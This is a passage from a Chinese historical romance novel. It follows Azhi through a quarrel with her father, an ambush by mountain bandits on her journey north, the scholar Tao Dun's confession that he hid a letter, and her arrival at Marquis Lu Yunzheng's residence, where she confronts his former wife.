阿致站在门口,双手捏紧托盘,忍无可忍,“你总是催我嫁人,总是说别的没有血亲的男人会对我好,不过是因为有我阿妈那个傻子尽心尽力帮你,你得到过好处而已!但这不代表其他人会像我阿妈那么傻,愿意任劳任怨了一辈子,在生命攸关的时候,被最亲近信任的枕边人抛弃!”
沈金勃然大怒,从床上惊坐起,连连摇头:“你不就是觉得我亏待了你阿妈么?当年你阿妈的情况,你也是知道的,根本就很难救活,大夫也说了,没有必要花那么多钱铤而走险。你们没有脸怪我。”
“是,很难救活,但是阿爹,那是你的枕边人啊,那是你孩子的亲娘,你就这么放弃了,试都不试?这难道不是亏待她?”阿致重新走回沈金的床边,和他对峙。
沈金理直气壮起来,他气得满脸通红:“试的代价是什么?是我这些年劳苦的积蓄!那是我辛辛苦苦赚来的血汗钱,我有权决定怎么用。”
“你的钱?”阿致讥讽道,“要不是阿妈在家里忙前忙后操持家务,生养我,还要照顾你的起居,让你没有后顾之忧,你哪能赚到钱?可以说你拿到手的每一文钱,阿妈都至少出了一半的力。你说是你的钱,说我们没有脸怪你,你良心过得去吗?阿妈明知道可以试试看,却听到你说要放弃,当时她心里该多绝望,她大概会觉得自己这一辈子苦都白吃了,这一辈子白活了。我才不要嫁给严吒,过阿妈那样猪狗不如的日子!”
“你!”沈金气得头晕,伸手捂住胸口,“谁家娘子不是操劳着过日子?难道我对你阿妈还不够好?”
因为所有人都这样做,就代表这样做是正确的吗?
阿致很想反驳,但是她想起来前不久,她在讲出心中实话后的那种愧疚感。明明死不悔改的是父亲……
她冷静下来:“你觉得已经够好,但我觉得远远不够,所以我不打算嫁人,除非他把我当人看。还有,你愿意把自己的积蓄白给严吒,我拦不住,我也不想管,但你别逼我嫁给他。”
说完阿致从家里走出去,一路走,一路流泪。她阿妈一辈子操持,在生命的关键分岔口,连争取的机会都没有,只因为她的劳动从来没有被付钱过,就被当成了没有价值的付出。就连同为女人的婶娘也曾说:“阿致,你爹在军营里赚钱多辛苦,他付出了那么多,不愿意也是情有可原的。”
可是这个世界上谁又不辛苦呢?阿致可以肯定的是,如果当初重病等着救命的是父亲,阿妈会毫不犹豫花钱,即使知道希望渺茫。爱一个人就是在乎一个人的死活,这是阿致握着临死母亲冰凉的手时,最清晰的想法。
这个世界上有人在乎她的死活,她又在乎谁的死活呢?
不知不觉,阿致又到了军营,但是找不到王阳的人影。
暮色降临时,夜她不知道应该去哪里,便去到集上。因为半个月前胡虏的洗劫,街上行人很少,阿致找到两人确定心意的凉亭,望着天上明澈的月亮,哭得眼泪模糊。
这世上,在乎她死活的人都死绝了。老天爷对她真残忍。
模糊中,她似乎看到了陆昀峥。他大步流星跑过来,身上披着盔甲,盔甲上满是黑色血迹,还有棕褐色的泥土,脸上也脏兮兮的。
阿致抹了一把泪,呆呆看着那个人影渐渐放大,在她眼前。她以为自己在做梦。
直到他弯腰,将她捞在怀里。
他的呼吸喷洒在她的颈窝里,是湿热的。
陆昀峥活着回来了。阿致站起身来,抬手摸他的脸,他活着回来了。
阿致双手勾在他脖子上,凑到他唇边亲吻。
陆昀峥同样热烈地回应她。
阿致的脸上挂满泪水。
陆昀峥用指腹给她擦干:“怎么了?”
“如果成婚了,我自己开铺子挣钱,你能答应吗?”阿致不想过阿妈那样的人生,唯一的解法就是自己赚钱,把钱捏在自己手里,不要指望别人。
“当然可以。”陆昀峥看她哭花脸,还以为是有什么大事。
阿致看着他的脸:“阿峥,我们成亲吧。”
23. 闹别扭
23
离开密县后,阿致的心情越发轻松。虽然她总是回忆起过往那些事,但那些事似乎都与陆昀峥无关了。那是独属于她的记忆。
阿致安排了一辆马车,马车前头坐人,后头驮着家当,一路往北去。靠近大漠的云邺城,她还是更熟悉一些。
她自己扮成男子,在前头赶马,女儿在颠簸的马车帐子里睡得很香。
而她的马车后,则缀着一头小毛驴,小毛驴驮着陶盾。
他来之前,阿致就直白拒绝过,最终他还是跟来了。一路上奔波劳累,吃不好睡不好,陶盾瘦弱的身体折腾得绵软如面条,脸都绿了。
阿致专心往前赶路,她走的是官道。官道比较远,但是相对安全些,每隔一段,就设有驿站。
就这样一站又一站,她们离云邺城越来越近了。
今日要走的这一段路比较长,路上不能长时间休息,只能在路边停下,生火烤个馍凑和午饭。
吃午饭的时候,阿致劝陶盾回去。
陶盾正在撕咬又凉又硬的面饼,他酸着牙说:“致娘,我怎么着也是个男子。我和你们在一块,至少可以照顾和保护。有任何事情,你们都不用怕。”
他很庆幸,当初没有告诉致娘那封信的事。致娘总是需要一个男人保护的。只要到了云邺城,他有信心和致娘一起展开新生活。
看着他瘦弱的身板,阿致沉默。她知道说什么都没用。
这时候,又一队过路的人停下来生火吃饭,一共三辆拉着货物的马车。那一队人中有七个男人,外加一个四十岁的女子,身形像是练家子。
他们看出阿致是个女子,还带着一个稚女赶路,便有些吃惊。尤其是那四十岁的女子,她好心提醒阿致,前面那段山路,有山匪出没,不太安全,一定要在天黑之前抵达下一个驿站。
这群人面色黑亮,说话口音很重,明显是对此地非常熟悉的本地人,这女子提醒是出于好心。
阿致十分感激。她拍拍手上的泥土,立刻安置女儿回到马车上坐着,她得快速通过前面的山路,在天黑之前找到下一个驿站。带着女儿,绝不能置身风险。
·
一路上紧赶慢赶,在距离下一个驿站还剩下十公里时,出了意外——陶盾的驴子突然倒地,腿一直在抽搐。
陶盾站在地上,束手无策,看着阿致和她的马车。他是想要一起坐马车。
阿致沉默。马车后边有好几个行李箱子,前边帐子里也坐不下第三个人,否则马匹会过度劳累。万一这马车也折损到半路那就……古语有云,祸不单行,不怕一万就怕万一。
陶盾还等着她拿主意,嗫嚅着道:“致娘……”
阿致快速思考了下,目前有两种方案:
一是带着陶盾往前,通过这段山路,抵达下一个驿站,但问题是,从这里走到下一个驿站还有十里地,天黑前无法步行到达,若真有山匪就很危险;
二是不管他,让他自己原路返回驿站,这种方案至少能保证娘俩的安全,在天黑前抵达下一个驿站。
阿致回头看了看女儿,又看了看地上躺着的驴子,狠下心对陶盾道:“前方可能有山匪,十分凶险,不如你回去吧。”
致娘这是要抛下他么?陶盾忍住心酸,他回看来时路,走到马车边上,手扶着马车沿,道:“官道上不会有山匪的。”
“是,按理说应该是没有的。但陶先生,我带着希君,她才五岁,我不能冒险,也不敢心存侥幸。万一有凶险怎么办呢?且你跟着我们步行,得拖到晚上。我带着希君,好歹还照应得过来,要是还带着你……在危险中,我是救你还是舍你呢?”阿致捏紧手中的马鞭。她也不想这么无情,但她很清楚,当断不断,必受其乱。
在问题的开端,拒绝的代价是最小的,即使当下看起来很绝情。
“致娘,我是个男子,有了危险自然是我保护你。”陶盾又看了看来时路,“我现在回去还得走十五里地,太远了。我……我会快点走,不给你添麻烦。”
“不如这样,你先往回走,拿这些银子买一匹马,明日追过来。我和希君会在前头等你。这样是最安全的。”这是阿致能给出的最大折中,能保证谁都不会处于风险之中,就看陶盾是否答应。
阿致拿出银子看着陶盾,陶盾没有接,他垂头丧气,像个等待安抚的孩子:“致娘,你就想甩开我,是不是?”
阿致将手中的银子握住,指甲壳发白。说实话,她对陶盾相当生气,他就像个穿着大人外套的十岁男孩,任性、执拗,丝毫不考虑别人的立场、风险、感受,在关键时刻总是喜欢闹没有必要的别扭,逼着她一个本该被精心呵护的女子出来当大家长、拿主意。
——就像她爹沈金一样。
她为什么爱陆昀峥,不爱陶盾?因为只有陆昀峥才把她当成个人,考虑她的感受,平等相待!为什么陆昀峥会被她骗?是因为他尊重她的感受!即使他压根不记得她。
所以,就算过往发生许多难过的事,她也会念着陆昀峥的情。
可是陶盾做了什么呢?他只想着自己爱谁、自己要做什么,根本不顾对方内心的凄惶、担心,明知道自己压根帮不上任何忙,还要添乱添堵。说好听点叫追求,说直白点就是自私。
爱一个人就是只想看对方开心快乐、生怕对方吃苦受累,而不是只考虑自己!那些嘴上说爱,却总是打压你让你低头妥协、顺从、放弃自我的人,根本不爱你!他们只爱自己,还自我感动!
阿致感觉自己像是被死死咬住喉管的猎物,她内心咆哮了一阵后,忍无可忍深吸一口气,对他说:“不管你是去是留,我不会再管。”
他是个大人了,该学着管管自己。
说完,阿致重新坐回马车前面,准备重新出发,她没有时间再耽搁。
希君早就醒了,但不敢吭声,她从没见到阿妈如此滔天怒火。陶叔叔实在太不会看眼色,阿妈可是言出必行的。
陶盾手足无措地站在原地,正在这时候,远处一阵“哒哒哒”的声音传来,原来是之前遇过的三辆马车飞驰而来。
“致娘,我让他们载我。”陶盾眼中重新燃起希望,他蹦跳着挥手,挡在路中央。
阿致回头看那三辆马车,速度很快,到近前来也没有勒马的迹象,她立刻伸手,站在马车上,提溜着陶盾的领子,将他拎到一边。
果然,那三辆马车绝尘而去,没有丝毫停顿,空留满地的车辙印子和山谷里的回响。
差点被碾成了肉馅,陶盾睁大眼睛,拍拍身上的尘土:“他们实在太不近人情。”
阿致松开他的衣领,回身拿起马鞭。
陶盾回头,看着阿致,舔舔嘴唇。
阿致没有理他,赶着马车离去。
陶盾没有犹豫,赶紧从驴子身上拿起自己的行囊,跑在马车后。
阿致抬头看了看天色,些微亮着,只是被山路两旁的高大树木遮掩,光线很暗。她挥动马鞭,加快速度,和陶盾拉开距离。
如果追不上,他就会死心,转而回去吧。
终于,见不到陶盾的身影。
希君小声问:“阿妈,我们真的不带陶叔叔?”
阿致挥着马鞭的手顿在空中,任由马匹渐渐停下来。
她真的是……不该心软。阿致懊恼着下车,从马车后头挑了一个大木箱子,箱子里头装的都是锅碗瓢盆。她从中取了必要的火石还有一些必要的轻便物品,便将整个箱子丢弃在路边。
调转车身去接陶盾,再继续赶路,他们耽搁了不少时间,必须得快。
“致娘,我就知道你不会真的抛弃我。”陶盾兴高采烈坐在马车另一边,然后,他看到路边一个废弃的箱子,目瞪口呆。他认得,那是致娘的箱子,脸上的笑容慢慢溶解。
·
行了大半个时辰,离下一个驿站只五里地,胜利在望,阿致的脸色终于好些,陶盾也开心起来。
前头一道上坡,坡上有一段是个泥水坑,泥水坑几乎拦住整条路。
马车的车轮陷在泥水坑里,马匹跑了一天力不从心,阿致叫陶盾下车来推。
此时天色暗了,将近傍晚,山野里到处是奇怪的鸟鸣声,莫名让人背后汗毛竖起。
阿致抿着嘴唇,她有种不太好的感觉,总觉得有人在暗中盯着他们。她停止推车,蹲下来查看那坑。
四周都是晒白的泥巴地,只有这里有个泥水坑,泥水坑里除了车辙印,周围还有锹挖过的痕迹……
阿致人为的陷阱!
她警觉起来,往前一望,前面还有两个这样的水坑……他们想要过去这条路,少说也要一个时辰折腾。
这时,侧边山上的草丛里似乎有什么声音,像是人走动时触碰到了野草。
阿致的耳朵动了动。她满面担心,回头四处环顾山坡。这树林子里,显得有些阴森,仿佛随时有野兽会出没。
“致娘你不用担心,一个小水坑,不会有什么问题。我看过地图,过了这里,还有不到四里地,就是驿站。”
阿致伸手,示意他闭嘴。
陶盾咬死嘴巴,看着她,她就像是绷得很紧的弹弓,随时准备开弓射击。
马车里的希君露出头来,她感觉到气氛不对,大气都不敢喘,观察着阿妈的一举一动。
阿致示意陶盾帮把手,把马车往后拉。
“为什么?”陶盾不解。
阿致从马车后又拉出所有大箱子来,也不再检查,直接扔路边,只留了一个马褂大小的匣子。她再咬牙将马车拉回干泥巴路上,调转车头,朝向过来的方向。
这是要往回走?天不是还没黑吗?所有家当都不要了?陶盾还没弄清楚是什么情况,被阿致一把拉到马车上。
致娘的力气好大,这让陶盾异常震惊。
马车已经开始快速驶动,阿致将马缰绳交给他。
陶盾愣了一下,慢吞吞伸手,阿致连忙招呼希君过来:“你来!”
希君如同临危受命,迅速接过阿妈手中的缰绳和马鞭,和阿妈换了个位置。
马跑了一天,疲累至极,大口喘气着。马蹄声、马喘气声,还有车轱辘在地上哐当哐当的声音,在夜幕降临前的山谷中回响。
陶盾微微抬起的手,在空中停滞了一会,慢慢抓成一团,他有些尴尬。他竟连个五岁的小女娃都不如。陶盾问:“致娘怎么了?为何要往回走?”
阿致懒得理他,从坐垫下摸出一个长盒子来,打开盒子是三把刀,其中一把别在腰后,一把藏在短靴的脚踝里,再一把递给希君。希君忙着策马,阿致便伸手给她别在腰
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间。
这三把刀磨过了,为了找屈老幺报仇。没想到今天派上用场。
致娘为何有这么多锋利的刀?陶盾睁大了眼睛:“致娘你……你在干什么?”
他抬头,只见致娘脸色严肃,额头上都是热汗。
阿致从箱子里又摸出两把长刀来,其中一把锋利的她留给自己;另一把比较钝的,递给陶盾,低沉着声音道:“你不是说要保护我们吗?等会听我指挥。”
指挥什么?
陶盾还没来得及问,突然一支箭射过来,破开空气的声音十分尖锐,极速靠近他的胸口。
阿致将那长盒扔出,挡住了这根箭。
马匹受了惊吓,拼命往前跑,速度特别快,差点撞到山壁。
阿致对希君大声道:“牵紧绳子!”
希君双眼死盯着马匹,两只小手捏着缰绳,几乎握不住。陶盾这时才缓过来,伸手帮希君握着缰绳,掌控好方向:“希君你进去马车里。”
马车往前狂奔两里地,才慢下来。
阿致环视四周,终于没有了那种被暗中凝视的不安感。但他们今晚必然要在黑夜中赶路了。
陶盾也跟着放松下来,他问:“致娘,你怎么知道有危险?”
致娘那应对的模样,似乎早有预料。看致娘那身手,如此干净利落又熟练,似乎深藏不露。
阿致道:“我们只是暂时安全,必须尽快离开这里。”
就在这时,马车突然卡在一个大石子上,差点朝一边歪倒。而马匹被缰绳一勒,卸了力气,直抽气,死活不肯再走。
怎么办?他们离之前的驿馆,至少还有六里地……天已经黑了。
阿致侧头,她听到了逐渐追过来的脚步声。
阿致将那个木匣子交给女儿:“抱好了。”
希君保护着唯一的木匣子,紧紧抱在胸前。
阿致抽出长刀来,对着身后的小路,路的尽头出现了一个男子,他一身黑色麻布衣,脚步稳健,头上包着布巾,挥舞着手中的长刀,十分威武:“还不跪下求饶!”
这是山匪,他们遇到了山匪。
陶盾双手握着长刀刀柄,两腿战战,双臂绵软,口干舌燥,大喊:“致……致娘,我……保保……保护你!”
·
立秋已过,早晨有狂风,吹得旗帜猎猎。
陆府之内,下人低头做着自己的事,井井有条地洒扫。
陆昀峥站在铜镜前,穿上一身盔甲,今日要启程前往边境,以应对楼烦惹出的麻烦。
他身后的罗三禀报:“侯爷,昨夜派去密县的人来报,那面馆的小娘子已经离开多日,不知去往哪里,还需要调查,属下留了两人去追查。”
昨天,在陆侯爷见过那十岁的陆涂后,给王阳写了信,又分派人手快马加鞭去密县寻小娘子的下落。
陆昀峥系好腰带,他道:“你再多派两个人去追,尽快查出来。”
“是。”
“侯爷,给王阳的信,已经送到他家里,但是他妻子说他刚刚出门去,还不知什么时候回来,这怎么办呢?”罗三昨日去问,才知道王阳每次离家至少一个月。
“去将人追回来,赏银按照惯例给。”陆昀峥走出门,抬头望着天,似乎要下雨。他昨日下午去找父母,用陆涂的事诈二位老人,他们不否认陆涂和阿致的离开有关,但也什么都没说,和一年前他成婚那晚一样。他有他的坚持,父母也是。
他当然想要亲自去查那小娘子,想要问她究竟有没有骗她,又是为何要骗他?
但是眼下战事在即,儿女情长也只能先放在一旁。
这一去,不知道多久才能回来。
陆昀峥跨出大门前,又吩咐罗三:“若有人拿着我的黄玉来府里找,不论她是谁,一定要将人留下。”
·
山匪一步步走过来,看到对面那手无缚鸡之力的书生、瘦弱小娘子还有一个玉雪可爱的小姑娘,他格外开心,嘴里的狗尾巴草转得贼欢。
这小娘子长得不错,可以卖个好价钱。
阿致让希君去马车上等,自己则手持长刀,观察着对方。
陶盾站在原地,腿软得像面条。在山匪走到只有一臂距离时,他挥动长刀,却砍了个空,一屁股坐在地上。
长刀“硁噔”一声掉地上。
那山匪吐掉狗尾巴草,捡起地上的长刀,对着陶盾砍去。
怎么办?陶盾手撑着身体后退。
一把短刀有力地飞出,准确无误地插在了那山匪的胸口,山匪满脸不可置信,捂着胸口,看着掌心殷红的血液,慢慢倒地。
陶盾回头,是致娘,她一刀将那山匪毙命:“杀人了……”
阿致从山匪胸口拔出短刀:“再不走,他还没死,同伙来了,我们就要死。”
陶盾飞快从地上爬起来,坐上马车,与阿致一同回去。赶路许久,他们终于回到前一晚的驿站。
阿致带着女儿希君上楼睡觉,陶盾则继续坐在楼下,他脸色苍白,对着烛火喝了一夜的酒。烛火中,他看到了被弃置在路边的箱子,还想起了致娘甩出去快准狠的匕首……也想到了当时退缩的自己。
第二天早上,阿致下楼来,准备吃早饭,被陶盾拦在半路上:“致娘,我有件事要告诉你。”
24. 我会忘记你吗
24
陶盾带着致娘到自己房里,在四方桌旁坐下,却又迟迟不开口。他知道,接下来他所说的话,会让自己永远失去致娘。
阿致知道他有确实有话要说,但希君已经醒了,闹着肚子饿,她催道:“你有什么话要说?”
陶盾一脸严肃,问她:“你是雪致?”
阿致明显愣了一下,随即笑着道:“陶先生你为何这样说?”
也不知道他从哪里得知“雪致”这个名字。阿致心中警觉起来。
致娘没有正面回答问题。陶盾心中已经明了,他的猜想是正确的——眼前的致娘就是陆侯爷在寻找的心上人雪致,二十三岁。事实上,不用问,昨晚上面对劫匪时,致娘利落的伸手,就已经给了陶盾明确的答案。
陶盾平静地道:“陆侯爷他……失忆后被骗婚,但他一直在找雪致你。”
“被骗婚?”阿致满脸不可思议,她甚至没有注意到陶盾称呼她为雪致。
陶盾低头,看着桌上的一杯冷茶:“谷小姐趁他失忆,冒充雪致你。陆侯爷信以为真,才会促成婚事。在成婚的当天,他才得知自己被骗。”
“你从哪里得知的?”阿致掐着自己的手指,让自己尽量冷静。
“陆侯爷曾写了一封信,放在你的后门口。我看到了那封信,信中字句及其真诚,开头是吾妻雪致。”陶盾仍旧记得信中那一行行问句,其中夹杂着纠结、痛苦和内疚。那信封上满满的酒味。
吾妻雪致?妻?阿致懵了一会。他们确实在大漠上拜过天地,但是……那封信是怎么回事?
“一封信?”阿致皱眉沉思,她压根没有看到过什么信。突然,电光火石之间,她突然想起来搬家的那天,陆昀峥过来给她搬水缸,她看到了后门口一个白色的东西,像是信封,被陆昀峥一把抢过去。当时他轻舔了嘴唇,这是他说谎之前的小动作。
所以,他将信放在她后门口,却又拿走了?
阿致抬头,眼眸晶亮地看着陶盾。
陶盾点头:“我看完后,将信放回去了。你若没有看到,那便是阴差阳错地错过。”
“信上还说了什么?”阿致急切地道。
“信上没有明确写,但我找同僚打听过,陆侯爷与夫人是打算尽快和离的。”陶盾抿着嘴唇,又道,“还有,陆侯爷他真心喜欢你。”
阿致垂眸,两只手紧紧握在一起,不知道在想什么。
陶盾抬头,鼓起勇气道:“抱歉,致娘。”
“你为什么道歉?”
“为我的卑鄙。”陶盾伸手示意致娘先不要说话,他是个欠缺勇气的人,这一次没有吐露心声,也许永远不会有机会了,他挺直瘦弱的背脊,“致娘,我喜欢你。我活到现在二十多岁,因为孤身一人,鲜少有什么人尊重我、亲近我,把我当家人。周围的人见我家贫,总是随意调笑,只有致娘你把我当个人。有时候,光是和你坐一会,我都会觉得挣扎在这人生苦海中,有些许念想是一件非常美好的事。致娘,你不要误会,我没有妄想过你也喜欢我,或者是你我成婚,我知道你只是可怜我。我也只是希望致娘你能在我看得到的地方。
“所以在看到那封信之后,我不敢告诉你。我怕你知道前因后果,怕你知道陆昀峥对你的感情,就会立刻离开,而我也会永远失去你。当时,我选择将信塞回了信封里,放在门背后藏着,卑鄙地希望你不会发现那封信。后来得知你没有发现那封信,和陆昀峥阴差阳错分开,我甚至心中暗暗窃喜,为自己的得偿所愿。直到后来,我意识到你落寞是因为陆昀峥的离开,而且我一辈子也弥补不了,我才开始反思自己。我以为自己是真爱慕你,是谁也比不上的爱,可是……通过这件事,我只看到了自己的占有欲。只是我还是不愿意醒悟,看到你落寞,我也不愿意告诉你真相。
“昨天,致娘你让我一个人返回时,我以为你是故意要甩开我,根本不会等我。那时我心如刀绞般难过,也不愿接受事实,只想证明自己能保护你们,执意要跟着你们一起走。最后……拖累了你和希君,身陷险境。若不是致娘你,后果不堪设想。昨晚上我才想清楚,为了我妄想的温暖,要用致娘你一辈子与相爱的人分离来换,真的能称得上爱慕么?想要独占,本身就是卑鄙无耻。”
陶盾的脸色沉郁,用面如死灰来形容也不为过,这是第一次他面对真实的自己。他不仅帮不上致娘,还扯了后腿。直到现在,他还清晰记得那山匪的目光,在夜色中极其犀利,山匪看着倒地的他,眼中充满了戏谑和嘲讽——一个大男人,竟然如此没用。
而这样没用的男人,竟然还夸下海口,要保护她们母女。
阿致安慰他:“爱慕一个人,总是会想要独占,这很正常。”
“真的吗?”陶盾这才敢抬起眼皮看致娘。
“真的。”阿致很清楚,微笑着看他。
致娘久违地笑了,陶盾跟着笑起来,他终于确信,自己的决定是正确的。告诉致娘真相后,她的眼睛便亮起来了,就像是热烈太阳下波光粼粼的湖面。
爱一个人就是要让她幸福,即使代价是要放手、余生再不相见。
陶盾自嘲一句:“大概我这辈子是孤独到老了。”
“怎么会?人生那么长,你放下现在,也许未来的缘分便在路上了。”阿致看到他,想起了五年前的自己,实在不忍心看他伤心下去。
陶盾沉默了一会,问她:“你接下来怎么办?”
去找陆昀峥吗?
阿致还没回答,隔壁房间传来希君的哭声。她以为阿妈遇到危险,自己成了孤儿,哭得一脸眼泪鼻涕。
阿致连忙过去,给这小哭猫洗脸,带她下去吃早饭,顺便把陶盾也叫下来。
吃早饭的间隙,陶盾看着致娘和希君。他知道,马上就要分别,余生再不相见。
阿致起身,找驿馆的人又买了一匹马,加到她那马车上去。两匹马拉车,怎么着也快些。
吃完早饭后上楼,阿致收拾最后仅有的一些行李。
陶盾将她们送到门口的马车上,他的手扶在马车上,问:“致娘,能告诉我你的全名吗?”
他很怕致娘问他何必执着于此。
阿致看着他:“沈雪致。”
她不可能爱他,但是她相信,这是帮他更快忘记自己的办法。只有彻底释放,才能放下。
“沈雪致。”陶盾低声喃喃,生怕忘记,他挤出一丝笑,说:“我会忘记你吗?”
“会的,当你遇到真正爱你的那个人。”阿致很确信,那时候的陶盾压根不会记得她。
陶盾迎着阳光,露出一丝笑,终于松开手,轻轻摸希君的头:“听阿妈的话。”
·
阿致带着希君,一路快马加鞭,不到五日,抵达长安。
她迫不及待地和陆昀峥说清楚所有的事,她迫不及待看到他的脸。想象一下,他看到自己时该多么高兴,阿致嘴角忍不住翘起来。
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>离开长安五年,再次回来,闻到熟悉的味道,阿致想起过去的一些事,那些执着、争吵涌上心头时,她有一瞬间的皱眉,步子也放缓了。但是摩挲着手心的黄玉,她眼神坚定起来,带着希君步子越来越快。
在长安的第一晚上,阿致住在客栈中,带着女儿希君出门看划船、灯会。这都是她最爱的。
更重要的是,阿致要打听陆昀峥现在什么情况。他是否和离了。如果他还没有和离……她去他府里找他也不合适。走到集市之前,阿致还在担心怎么找人打听,到了集市,她便听到路边一个茶馆里三个女子在闲聊,聊的正是安远侯和他夫人谷湘如和离了,只不知道是什么原因。
听那三个女子的意思,此事人尽皆知,毕竟成婚不到一年,真是稀罕少见。而那谷尚书竟然也忍了此事,没有去找陆昀峥的麻烦,因此大家都猜,和离的过错方在于谷湘如。当然也有人认为,谷尚书为了帮女儿出气,找人将陆昀峥送到边疆去,怎么不算是报复呢?
看来,陶盾说的属实,陆昀峥和谷湘如和离了。只是陆昀峥似乎要去边疆?
阿致有些着急,她要赶在他出发前,面对面,将一切都说清楚。
第二天,阿致去到禄蕉巷的陆府,找陆昀峥。
守门的小厮听见开门,哈欠连天,这大清早的,天刚亮,也不知道是谁。开门一见,是个寻常女子,怀里搂着一个五六岁的小丫头,娘俩都是一身新衣裳。小丫头眼睛机灵的嘞。
小厮问:“有什么事?”
“我找你家侯爷陆昀峥。”
小厮眉头一跳,他家侯爷的名号是这么随意叫的?他又上下打量这母女一眼,看着也不像他家爷养的外室……
他砸吧砸吧嘴:“侯爷不在,你们走吧。”
“不在?”阿致又问,“他什么时候回来?我有要事找他。”
小厮在迟疑。
阿致从腰间掏出那一块黄玉给他:“你家侯爷说了,只要拿着这黄玉来府上,便能帮我解决问题。”
小厮又打个哈欠,他抹一把脸,接过那黄玉一看,眉头立马跳起来。天爷啊,他家侯爷的贴身玉佩,怎的就在这女子身上?难不成真是侯爷的外室?那这小丫头……眉眼确实和侯爷一个模子刻出来的。
想起来罗教头吩咐的话,小厮立刻伸手,将娘俩拉进府里来,关上门。好在府门外没什么人。
他借口去后院拿些糕点来,实则去找张羽,嘴里像着火了一样,慌忙催道:“快点给侯爷写封信,有个女子带着孩子找上门了。”
“女子?”张羽非常疑惑。张羽是侯爷常驻长安的暗卫,负责处理各种事务。
蓝杰拼命点头:“长得挺好看的,你说莫不是侯爷在外头惹的债?”
张羽伸手给他一栗子:“不许编排侯爷。”
说完,他先去前厅,隐藏着观察那女子,确实是能让侯爷惹债的姿色,还有那小丫头的眼睛,像老鹰一样,指着大丛木槿花后的他道:“阿妈,有人偷看。”
张羽只好咳咳两声,前去打声招呼,让他们好好休息。按侯爷留下的口令,必须将这母女俩留在府上。
阿致道:“我不需要休息,我只要见你家侯爷。”
“侯爷已经出发去边塞。”
阿致大惊:“什么时候出发的?”
“六日之前。”张羽不明白她为什么如此紧张。
“你家侯爷走的哪条道?”阿致起身,拉起女儿希君的手。
25. 生儿育女的交情
25
眼前这女子出口铿锵,似乎是要追着他们侯爷去边塞。张羽挺震惊的,他素来冷静,便问:“敢问小娘子如何有这块黄玉?”
他拿出那块黄玉来。
阿致去抓他手中的黄玉。
张羽躲过去了。
阿致微笑:“这黄玉是你家侯爷的,当然是他给的我。”
张羽赔笑着:“敢问小娘子与我家侯爷是什么交情?”
老实说,这话他不太好意思问。他估摸着,让这小娘子回答也挺难为情的。
阿致伸手,将腋下搂着的女儿希君往前微微推一步:“生儿育女的交情,如何?”
嘶——张羽牙痛,还真是被蓝杰那小子说中了,是侯爷的外室找上门了。只是他家侯爷日日看着十分正经,油盐不进的,竟然闹出了这么大的孩子来。
等等,这小娘子说的话,还没有证实呢。张羽思忖后,最好是按照侯爷的吩咐,先将这小娘子扣下来,快马加鞭传信给侯爷。
张羽嘴上说:“小娘子等等,容我去安排下。”
阿致双手搭在希君肩膀上:“不用安排,你只需要告诉我,你家侯爷走的哪条道,我自己去找他。还有,你把玉还给我。”
张羽呵呵笑:“小娘子莫急,好歹我要先去确认下这玉的真假。若是真的,我再告知您路线也不迟。”
说的有两分道理,阿致放松了些:“快些,我等不了多久。”
终于将人劝下了,张羽立刻使眼色,让一旁的蓝杰过来:“带着小娘子去安置。”
蓝杰在前面带路,阿致跟在他身后,在这偌大的庭院里绕着。
这是阿致第一次来他的府邸,封侯的赏赐。五年前,阿致跟随陆昀峥去的是陆老侯爷那儿。
看着这深深的庭院,被初升的阳光一点点照亮,阿致心中不是滋味。
她指着东边一处格外精美的院子,问蓝杰:“这是谁在住?”
院子里种着几棵柔美的树,每一根枝桠都透着优雅与贵气,还有许多花草精心摆弄着,都是名贵的花草,一颗就能换普通人家一年的口粮,不像是陆昀峥的风格。他最不喜奢华铺张浪费,只因为他在军营里见惯了生死、极端贫穷。
蓝杰望了一眼那赏心悦目的院子:“哦,夫人——”
说着他感觉到不对劲,回头看了看这位“外室”,闭紧嘴巴:“您住这边。”
他领着阿致往西厢去。
阿致倒没多在意,简单“哦”了一声,从善如流地去那小院子里歇下了。包袱没有打开,因为她打算和女儿歇会儿,尽量下午启程。
这连续几日的奔波,让希君疲累不堪,终于到了个华丽干净的地方,她挨着枕头两眼就有些睁不开了,睡着之前还问:“阿妈,我们以后能一直住在这里吗?”
这床上躺着真舒服,比她和阿妈睡过的木板床还舒服。这大概就是之前阿妈教的“由俭入奢易,由奢入俭难”吧。
阿致伸手抹一把她的额头,笑着给她盖上了被子。
蓝杰方才离开了,去准备点心。
一时之间院子里没人,阿致打量完这个小院子,便往外走,她想要去陆昀峥的院子里溜达。
刚一出西厢的院门,她遇到了一个人——谷湘如。
两人狭路相逢,都往前走了一步,扬起下巴。
·
谷湘如掩着嘴冷笑道:“论登堂入室,倒是没人手脚比你还麻利。”
她心中很是疑惑:难道陆昀峥知道她就是沈雪致,专程将人接回来住?
阿致也不甘示弱:“怎么比得上你麻利?阿峥一失忆,你便冒充我,骗他成婚。”
陆昀峥的信中说,他是被骗婚的,可是这事也不能仅凭他一人之言就下定论。阿致说得气势汹汹,也是为了诈一诈谷湘如。
谷湘如气得两眼圆睁:“陆昀峥告诉你,是我骗婚?那他有没有告诉你,是他求娶的我?”
“也就是说,你确实是冒充我在先。”阿致终于验证了自己的猜想,“既然你与陆昀峥已经和离,以后请保持距离,不要动不动便来府上,以免别人说闲话。”
“你也不用小人得意,更不要以为自己有多么独特和重要。”谷湘如笑道,“五年前,既然阿峥能放弃你第一次,往后便可以放弃你第二次。”
阿致看着她没说话。
谷湘如得意道:“怎么,我说的不对吗?”
“为什么一定得是他抛弃我?不能是我选择离开他?”
来长安之前,阿致便做好了心理准备:不论他们是否能够重新和好如初,不论他们是否能赢得陆老侯爷的允许成婚,她都要去找他,因为她现在还爱着他。如果没有尽情去爱去恨,没有接续曾经被打断的情感,那么她的余生都会困在“如果我们能在一起会如何”这个问题上,人总是会猜测没有走过的路上风景更好。
等到什么时候,她和他竟然走到相看两厌的地步,那缘分耗尽,她便会与他好聚好散,不枉这一辈子尽情爱过、努力过。即使最终还是失去,但毕竟曾经用力拥抱过,她可以毫无遗憾地离开。
选择离开陆昀峥?谷湘如一时之间愣住,她还从来没想过这事。今日她过来,嘴上说是拿自己院子里的首饰匣子,其实就是找了个借口来看看,她还留恋这个府邸、院子。这样一对比,谷湘如心中不是滋味,她讥讽道:“说得如此坦然,不过就是掩盖自己的目的罢了。你若真是个守诺坦然的人,就该这辈子都不来长安,不见阿峥。”
“真是不好意思,我这个人信奉见人说人话、见鬼说鬼话,承诺也是一样的。”阿致笑了,回看谷湘如,“对方若是人,我便守诺。对方若是鬼,骗我欺我,我便以其人之道还之,你该感谢我够君子,没有反击。”
